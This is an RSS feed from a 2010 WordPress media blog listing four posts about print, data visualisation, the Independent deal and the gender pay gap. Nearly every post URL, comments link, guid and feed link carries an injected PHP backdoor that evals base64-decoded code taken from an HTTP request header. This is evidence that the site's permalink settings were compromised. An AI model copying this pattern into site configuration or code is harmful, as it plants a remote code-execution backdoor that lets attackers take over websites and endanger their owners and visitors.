<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.2" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Shakeup Media</title>
	<link>http://www.shakeupmedia.com/blog</link>
	<description>The blog version</description>
	<pubDate>Fri, 30 Apr 2010 01:13:21 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.2</generator>
	<language>en</language>
			<item>
		<title>Seven reasons why print is not dead yet</title>
		<link>http://www.shakeupmedia.com/blog/2010/04/30/seven-reasons-why-print-is-not-dead-yet/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.shakeupmedia.com/blog/2010/04/30/seven-reasons-why-print-is-not-dead-yet/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 30 Apr 2010 01:06:18 +0000</pubDate>
		<dc:creator>Richard Addis</dc:creator>
		
		<category><![CDATA[Magazines]]></category>

		<category><![CDATA[Media]]></category>

		<category><![CDATA[Newspapers]]></category>

		<guid isPermaLink="false">http://www.shakeupmedia.com/blog/2010/04/30/seven-reasons-why-print-is-not-dead-yet/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
1/ Twenty years after the launch of internet computing, a period during which global web traffic has grown at an average of 425% a year, on a planet with over one billion active personal computers and over four billion mobile phones and in which the quantity of information stored is due to double every five [...]]]></description>
		<wfw:commentRss>http://www.shakeupmedia.com/blog/2010/04/30/seven-reasons-why-print-is-not-dead-yet/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Graphics Galore</title>
		<link>http://www.shakeupmedia.com/blog/2010/04/23/graphics-galore/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.shakeupmedia.com/blog/2010/04/23/graphics-galore/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 23 Apr 2010 16:04:25 +0000</pubDate>
		<dc:creator>Ryan Bowman</dc:creator>
		
		<category><![CDATA[Media]]></category>

		<category><![CDATA[Bowman]]></category>

		<category><![CDATA[data]]></category>

		<category><![CDATA[election 2010]]></category>

		<category><![CDATA[equal pay day]]></category>

		<category><![CDATA[good magazine]]></category>

		<category><![CDATA[graphics]]></category>

		<category><![CDATA[mps]]></category>

		<category><![CDATA[ryan]]></category>

		<category><![CDATA[ryan bowman]]></category>

		<category><![CDATA[salary]]></category>

		<category><![CDATA[shakeup]]></category>

		<category><![CDATA[shakeup media]]></category>

		<category><![CDATA[USA today]]></category>

		<category><![CDATA[visual]]></category>

		<guid isPermaLink="false">http://www.shakeupmedia.com/blog/2010/04/23/graphics-galore/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
Data visualisation is nothing new.  In fact it is, bar none, the sexiest thing on the go.  And it&#8217;s no surprise why: it allows multi-talented designers/statisticians/etc with other interests to combine their flair for visuals with more concrete topics.  When we get interested in a topic, our brains often work like little picture engines, trying our [...]]]></description>
		<wfw:commentRss>http://www.shakeupmedia.com/blog/2010/04/23/graphics-galore/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Thoughts on the Independent deal</title>
		<link>http://www.shakeupmedia.com/blog/2010/03/25/the-gen-on-the-independent-deal/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.shakeupmedia.com/blog/2010/03/25/the-gen-on-the-independent-deal/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 25 Mar 2010 13:09:20 +0000</pubDate>
		<dc:creator>Richard Addis</dc:creator>
		
		<category><![CDATA[Media]]></category>

		<category><![CDATA[Newspapers]]></category>

		<category><![CDATA[Websites]]></category>

		<category><![CDATA[free papers]]></category>

		<category><![CDATA[independent]]></category>

		<category><![CDATA[lebedev]]></category>

		<category><![CDATA[standard]]></category>

		<guid isPermaLink="false">http://www.shakeupmedia.com/blog/2010/03/25/the-gen-on-the-independent-deal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[First,  that the Indy is very fortunate. To have a proprietor with deep pockets is the key requirement for a modern newspaper and in Alexander Lebedev the Indy has found its man. To have a proprietor with deep pockets, a record of supporting a free press, a good management team, a love of print and [...]]]></description>
		<wfw:commentRss>http://www.shakeupmedia.com/blog/2010/03/25/the-gen-on-the-independent-deal/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A Tale of Two Cities</title>
		<link>http://www.shakeupmedia.com/blog/2009/10/30/a-tale-of-two-cities/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.shakeupmedia.com/blog/2009/10/30/a-tale-of-two-cities/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 09:19:25 +0000</pubDate>
		<dc:creator>Ellen Carpenter</dc:creator>
		
		<category><![CDATA[Media]]></category>

		<guid isPermaLink="false">http://www.shakeupmedia.com/blog/2009/10/30/a-tale-of-two-cities/</guid>
		<description><![CDATA[ Graphically exploring two boroughs on either end of the gender pay gap spectrum
A recent poll by the Fawcett Society shows that more than half of men and a third of women aren&#8217;t aware of the severity of the pay gap. On Equal Pay Day, the day on which, because of the pay gap, women essentially [...]]]></description>
		<wfw:commentRss>http://www.shakeupmedia.com/blog/2009/10/30/a-tale-of-two-cities/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
